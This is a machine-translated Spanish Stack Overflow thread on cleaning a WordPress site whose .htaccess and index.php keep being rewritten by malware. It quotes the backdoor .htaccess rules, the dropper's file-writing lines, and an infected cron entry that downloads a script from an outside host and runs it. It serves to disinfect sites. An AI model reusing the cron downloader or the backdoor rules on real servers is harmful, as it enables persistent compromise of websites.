Archivo .htaccess de WordPress pirateado [closed]

8 minutos de lectura

Avatar de usuario de Eugenio
Eugenio

Tengo un sitio de WordPress que presenta un .htaccess y un archivo llamado postfs.php.

Pero cuando trato de borrarlos, se vuelven a escribir. He intentado borrar todos los archivos del sitio, cambiar permisos, comprobar el cron… pero no hay nada que hacer. Estos archivos aparecen tan pronto como los elimino o edito.

El contenido del archivo es el siguiente:

Archivo .htaccess

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$">
    Order allow,deny
    Deny from all
</FilesMatch>

<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.$
    Order allow,deny
    Allow from all
</FilesMatch>

AddType application/x-httpd-cgi .sh

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . index.php [L]
</IfModule>

Y el postfs.php archivo tiene este contenido: Decodificación PHP

¿Cómo puedo evitar la restauración de estos archivos?

  • Voté para cerrar esta pregunta porque no es una pregunta de programación. Más bien, se trata de limpiar un sitio de WordPress pirateado.

    – Stephen Ostermiller

    20 de abril de 2022 a las 12:54

Avatar de usuario de Nabi KAZ
nabi kaz

Tuve el mismo problema y el antivirus no pudo detectarlo. Y también el problema de crear archivos automáticamente no estaba relacionado con trabajos croncomo mencionaron los amigos.

De hecho, cada vez que se abre una página desde el sitio, esos archivos se reconstruyen.

He examinado cuidadosamente el problema y ofrezco la solución.

El problema ocurre para ambos. .htaccess y index.php.

Archivo infectado .htaccess

index.php archivo infectado

Primero buscamos una palabra clave en el texto del archivo (como root):

grep -lir "wjsindex.php" ./

Producción:

./wp-admin/images/arrow-rights.png
./wp-includes/images/smilies/icon_crystal.gif
./.htaccess

Para otro archivo, buscamos una palabra clave en el texto:

grep -lir "RZXiMOEbYmVH" ./

Producción:

./wp-admin/images/arrow-lefts.png
./index.php
./wp-includes/images/smilies/icon_devil.gif

Si observa el contenido de estos archivos de imagen encontrados, verá que no son imágenes y contienen código malicioso que coincidía exactamente con nuestros dos archivos originales.

Muestra:

Ejemplo de archivo arrow-rights.png malicioso

Ejemplo de archivo arrow-lefts.png malicioso

Ahora buscamos los cuatro archivos encontrados:

grep -lirE "arrow-rights.png|icon_crystal.gif|arrow-lefts.png|icon_devil.gif" ./

Producción:

./wp-includes/load.php
./wp-includes/template-loader.php

Si edita estos dos archivos de resultados:

En la parte inferior del archivo load.php y al principio del archivo template-loader.php, verá el código adicional que debe eliminarse. (Empezando con //ckIIbg)

diff wp-incluye/load.php archivos

diff wp-incluye/template-loader.php archivos

Para averiguar más exactamente qué secciones son correctas y cuáles son maliciosas, simplemente reemplace ese archivo de otro WordPress que esté seguro de que es seguro y de la misma versión, o busque y elimine las secciones adicionales con el comando diff.

De este modo:

diff  ./wp-includes/load.php ~healthy/www/wp-includes/load.php
diff  ./wp-includes/template-loader.php ~healthy/www/wp-includes/template-loader.php

Y como paso final, elimine los cuatro archivos de imagen maliciosos:

rm -f ./wp-admin/images/arrow-rights.png ./wp-includes/images/smilies/icon_crystal.gif ./wp-admin/images/arrow-lefts.png ./wp-includes/images/smilies/icon_devil.gif

Y también verifique cronjobs (/var/spool/cron/username) para ser como esta línea infectada y eliminarla:

* * * * * wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home//username/public_html 24 && rm -f xxxd

Este código crea un ./css/index.php archivo y se puede eliminar.

  • Seguí los pasos anteriores y aún parte del archivo de índice pude codificar código malicioso dentro de wp-content index.php, carpetas de temas

    – Ankit Prajápati

    4 de abril de 2022 a las 12:53


  • @AnkitPrajapati Algunos virus funcionan de manera diferente, y fue una idea solucionar el problema y es posible que deba tomar medidas adicionales. También verifique sus complementos, ya que pueden ser vulnerables.

    – Nabi Kaz

    4 abr 2022 a las 17:30

  • Todo aún su sitio web está regenerando index.php o htaccess. Debe reiniciar su servidor o eliminar todos los procesos que se están ejecutando para su servidor.

    – Ankit Prajápati

    11 de mayo de 2022 a las 6:12

  • @NabiK.AZ ha seguido sus pasos pero aún conserva el archivo .htaccess infectado con el mismo código. ¿Es un problema de trabajo cron? Por favor, ayúdame también.

    – Pardeep Pathania

    31 de enero a las 5:01

  • @PardeepPathania stackoverflow.com/questions/67296060/hacked-wordpress-htaccess/…

    – Nabi Kaz

    3 de febrero a las 2:53

avatar de usuario de mikhaeel mounir
mikhael monir

Tuvimos exactamente el mismo truco hace un tiempo. El primer paso es decodificar el índice.php archivo, y después de decodificar vemos que hay cuatro archivos de imagen infectados:

file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);

Primero elimine las cuatro imágenes infectadas, verifique su cron y elimine cualquier trabajo cron que no haya creado.

Ejecute esto en una sesión SSH para eliminar todo .htaccess archivos dentro de todos los subdirectorios:

find . -type f -perm 0444 -name ".htaccess" -exec echo rm {} \;

Utilice los archivos predeterminados de WordPress .htaccess e index.php.

Después de terminar, puede instalar Wordfence y activar el firewall, además, no olvide actualizar su núcleo, complementos y temas de WordPress.

Avatar de usuario de Rouhollah Talebian
Rouhollah Talebian

En el primer paso, debe encontrar el archivo de shell (su proveedor de host puede hacerlo con antisheller).

  1. elimine el tema y el complemento no utilizados en la instalación de WordPress

  2. Inicie sesión en el área SSH y ejecute este comando:

    find /home/.../wordpres_directory -type f -name ".htaccess" -delete

  3. abra la página actualizada con este enlace: youdomain/tld/wp-admin/update-core.php?action=do-core-reinstall

Si aún ve el problema, debe realizar los pasos 2 y 3.

Su servidor necesita una configuración de seguridad. Llame al proveedor de host para asegurar el servidor.

  • ¿Qué es ese “antibombardero” del que hablas? Tiene una referencia?

    -Peter Mortensen

    ayer

Avatar de usuario de D.Bartenstein
D.Bartenstein

Si los archivos comienzan a reaparecer después de que los eliminó, debe buscar líneas de código, a menudo en el índice.php archivo—donde un límite de tiempo o un TTL (tiempo de vida) se especifica, junto con (la mayoría de las veces) una línea muy larga de código Base64. (Estos a menudo son reconocibles por un par de líneas de código más cortas con signos de “igual a” en el medio).

La forma en que esto funciona es el límite de tiempo / TTL se asegura de que todos los archivos se comparen con un conjunto de archivos de referencia ubicados en otra URL o en el caché de los servidores web, y si falta uno, se sincronizará de nuevo.

Una cosa que puede hacer para resolver esto es eliminar el script junto con reiniciar Apache y PHP / nginx. Esto limpia el caché de los servidores web.

Después de eso, puede limpiar las reglas de permiso de denegación maliciosas y otras cosas que están en el .htaccess archivos y probablemente otras cosas que se esconden entre los archivos y carpetas de su aplicación web.

Sugerencias de bonificación para intentar realmente resolver el problema de seguridad real aquí:

  1. Siempre asegúrate todo el software, complementos, módulos, temas, etc. está actualizado. ¡No te pierdas ningún parche de seguridad!

  2. Asegúrese de cambiar cada contraseña en cada cuenta que proporcione acceso a su aplicación web. (no se olvide de las cuentas de FTP y los paneles de back-end y esas cosas).

  3. Intente ejecutar un escaneo de malware (si tiene un paquete de alojamiento compartido, puede hacerlo a través de un complemento de seguridad o pedirle a su empresa de alojamiento que ejecute uno)

  4. ¡Asegúrese de que no haya usuarios, complementos o cualquier otro componente posiblemente malicioso del que nunca haya oído hablar y que no haya instalado!

  5. Al menos asegúrese de verificar la carpeta raíz, todas las carpetas de carga y las carpetas temporales en busca de archivos maliciosos.

avatar de usuario de diako azizi
diako azizi

Resolví el problema.

Crear una nueva cuenta FTP y editar .htaccess y índice.php con ArchivoZilla. Entonces deberías eliminar wp-admin y cargue el nuevo archivo y carpeta con una nueva versión de WordPress. También wp-incluir. Y luego puedes.

  • ¿Puede qué (última oración)?

    -Peter Mortensen

    ayer

Avatar de usuario de Peter Mortensen
Pedro Mortensen

Debes buscar cada .htaccess archivo. Usa un cliente FTP y bórralo (casi 5000 en mi caso). Actualice los complementos para resolver las brechas de seguridad.

  • ¿Puede qué (última oración)?

    -Peter Mortensen

    ayer

Avatar de usuario de Peter Mortensen
Pedro Mortensen

Así fue como resolví esto:

  1. Primero aísle el sitio web a mi dirección IP para poder trabajar solo.
  2. Remoto WP instaladopero mantuvo wp-content.
  3. Actualizado manual de trabajo a través de FTP.
  4. Reparar/recrear DB.
  5. Desactivar todos los complementos.
  6. Deshabilitar temas. La forma más sencilla es simplemente cambiar temporalmente el nombre en el temas carpeta a _tema en lugar de temas.
  7. Actualizar todos los complementos.
  8. Marcado activo tema carpeta para la fecha modificada. Encontré una carpeta en mi carpeta que tenía un índice.php y forjar.php. Los eliminé.
  9. Por último revisé el raíz carpeta de nuevo y encontró una carpeta llamada CSS. También lo eliminé, ya que también tenía archivos PHP que no pertenecían.
  10. Remoto .htaccess archivos de acuerdo con lo anterior.
  11. recreado .htaccess archivo.
  12. Activado todos los complementos y temas.
  13. Verifiqué una vez más los cambios en los archivos si me había perdido algo.
  14. Permita el tráfico al sitio una vez más y vigile acceso.log para peticiones raras.

Tal vez esto no ayudaría a todos, pero funcionó bien para mí y no quedan rastros.

¿Ha sido útil esta solución?